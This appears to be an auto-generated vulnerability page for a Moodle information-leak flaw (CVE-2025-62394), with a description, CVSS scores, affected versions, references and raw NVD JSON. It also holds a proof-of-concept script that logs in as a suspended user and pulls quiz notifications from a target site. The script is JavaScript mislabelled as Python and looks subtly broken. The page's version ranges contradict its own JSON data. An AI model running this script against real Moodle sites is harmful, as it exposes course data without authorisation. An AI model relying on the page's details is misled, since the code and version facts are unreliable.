CVE-2025-62394

Description

Moodle failed to verify enrolment status correctly when sending quiz notifications. As a result, suspended or inactive users might receive quiz-related messages, leaking limited course information.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE

Moodle LMS 4.1.x < 4.1.30

Moodle LMS 4.5.x < 4.5.6

Moodle LMS 5.0.x < 5.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-62394 PoC - 信息泄露验证
// 此PoC验证暂停用户仍能接收测验通知

const axios = require('axios');

async function verifyCVE202562394() {
    const targetUrl = 'https://vulnerable-moodle-site.com';
    const suspendedUserToken = 'USER_SUSPENDED_TOKEN';
    
    // 步骤1: 尝试用暂停用户身份登录
    const loginResponse = await axios.post(`${targetUrl}/login/index.php`, {
        username: 'suspended_user',
        password: 'password'
    });
    
    // 步骤2: 检查是否能获取quiz通知
    const quizNotifications = await axios.get(
        `${targetUrl}/lib/ajax/service.php?sesskey=${suspendedUserToken}&info=core_message_get_messages`,
        {
            headers: { 'Authorization': `Bearer ${suspendedUserToken}` }
        }
    );
    
    // 步骤3: 检查是否收到课程信息泄露的通知
    const leakedData = quizNotifications.data.filter(msg => 
        msg.notification && msg.fullmessage.includes('quiz')
    );
    
    console.log('Leaked course information:', leakedData);
    return leakedData.length > 0;
}

// 漏洞利用条件：
// 1. 攻击者拥有或获取一个Moodle账户
// 2. 该账户被暂停但未删除
// 3. 系统存在已发布的quiz

verifyCVE202562394();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62394
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62394
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62394/
[4] VulDB https://vuldb.com/cve/CVE-2025-62394
[5] https://access.redhat.com/security/cve/CVE-2025-62394
[6] https://bugzilla.redhat.com/show_bug.cgi?id=2404427

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62394", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:31.583", "lastModified": "2025-11-14T19:40:17.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle failed to verify enrolment status correctly when sending quiz notifications. As a result, suspended or inactive users might receive quiz-related messages, leaking limited course information."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62394", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404427", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}